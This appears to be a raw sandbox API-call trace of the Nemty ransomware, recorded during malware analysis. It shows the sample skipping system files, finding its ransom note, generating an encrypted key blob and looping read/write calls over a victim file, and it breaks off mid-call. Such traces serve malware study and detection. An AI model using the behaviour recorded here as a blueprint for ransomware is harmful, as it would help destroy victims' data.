lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0077.890] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0077.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0077.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0077.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0077.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0077.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0077.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0077.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0077.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0077.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0077.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0077.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0077.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0077.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0077.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0077.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0077.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0077.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0077.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942b0 [0077.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0077.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0077.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.891] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdff15b30, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xdff15b30, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xdff15b30, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0077.891] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0077.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0077.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0077.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0077.891] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1 [0077.891] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2=".") returned 1 [0077.891] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="..") returned 1 [0077.891] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="...") returned 1 [0077.891] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="windows") returned -1 [0077.891] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0077.891] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="rsa") returned -1 [0077.891] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="NTDETECT.COM") returned 1 [0077.891] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="ntldr") returned 1 [0077.891] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="MSDOS.SYS") returned 1 [0077.891] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="IO.SYS") returned 1 [0077.891] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="boot.ini") returned 1 [0077.891] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="boot.ini") returned 1 [0077.891] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0077.892] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="ntuser.dat") returned 1 [0077.892] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="desktop.ini") returned 1 [0077.892] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="CONFIG.SYS") returned 1 [0077.892] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="RECYCLER") returned -1 [0077.892] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0077.892] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="bootmgr") returned 1 [0077.892] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="programdata") returned -1 [0077.892] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="appdata") returned 1 [0077.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0077.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_buttongraphic.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0077.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_buttongraphic.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photoedge_buttongraphic.png", lpUsedDefaultChar=0x0) returned 27 [0077.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0077.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_buttongraphic.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0077.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_buttongraphic.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photoedge_buttongraphic.png", lpUsedDefaultChar=0x0) returned 27 [0077.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0077.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0077.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0077.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_buttongraphic.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0077.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_buttongraphic.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photoedge_buttongraphic.png", lpUsedDefaultChar=0x0) returned 27 [0077.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0077.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0077.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_buttongraphic.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0077.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0077.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_buttongraphic.png", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photoedge_buttongraphic.png", lpUsedDefaultChar=0x0) returned 27 [0077.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0077.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0077.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943a0 | out: hHeap=0x4f90000) returned 1 [0077.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0077.893] Sleep (dwMilliseconds=0x5) [0077.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe214d770, dwHighDateTime=0x1d561e7)) [0077.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe214d770, dwHighDateTime=0x1d561e7)) [0077.905] GetLastError () returned 0x12 [0077.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0077.905] GetLastError () returned 0x12 [0077.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0077.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0077.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0077.905] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0077.905] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0077.905] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0077.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941c0 [0077.905] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941c0, pcchString=0x653ec5c | out: pszString="8jOI8OIOaPUU2b3emDuJU32p9kVYvDUpQVbXztC1KYitdTSisKWdOc2gydnXPHNs\r\n2rKM9tUMQvZN7Nkqu3FJtelv75uzT+bGeU1QnSHHz2QERD8pOuFHWZ5tVWtsV6L5\r\nYJamk7NwgN9mX9oruCzZltMhUpOn9+08k7DXhmloUxxEZ8vBAlyjQLl9SVlHaBGq\r\nykehF8+4Y0D6jCvJh4UWU88n7SIp9jIa9fWRVJFBAR7Lkcyhl/d9BmX5THxAA0lJ\r\nboPAdhZ6YC5QjoHdGtexZToG+1Vs9+58oz9kxPGk0gYR4//XWytdfkqqCQjlfK/U\r\nu2ADs+EQZW7ilaezAUcqUg==\r\n", pcchString=0x653ec5c) returned 1 [0077.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0077.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0077.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0077.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0077.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941c0 [0077.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0077.905] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.906] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0077.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0077.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.906] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0077.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.915] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0077.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.915] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0077.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.925] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0077.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.925] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0077.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.934] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0077.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.934] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0077.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.944] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0077.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.944] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0077.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.954] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0077.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.954] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0077.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.963] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0077.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.963] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0077.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.973] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0077.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.973] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0077.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.982] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0077.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.982] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0077.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.991] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0077.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.992] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.001] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.001] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.007] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.007] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.013] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, 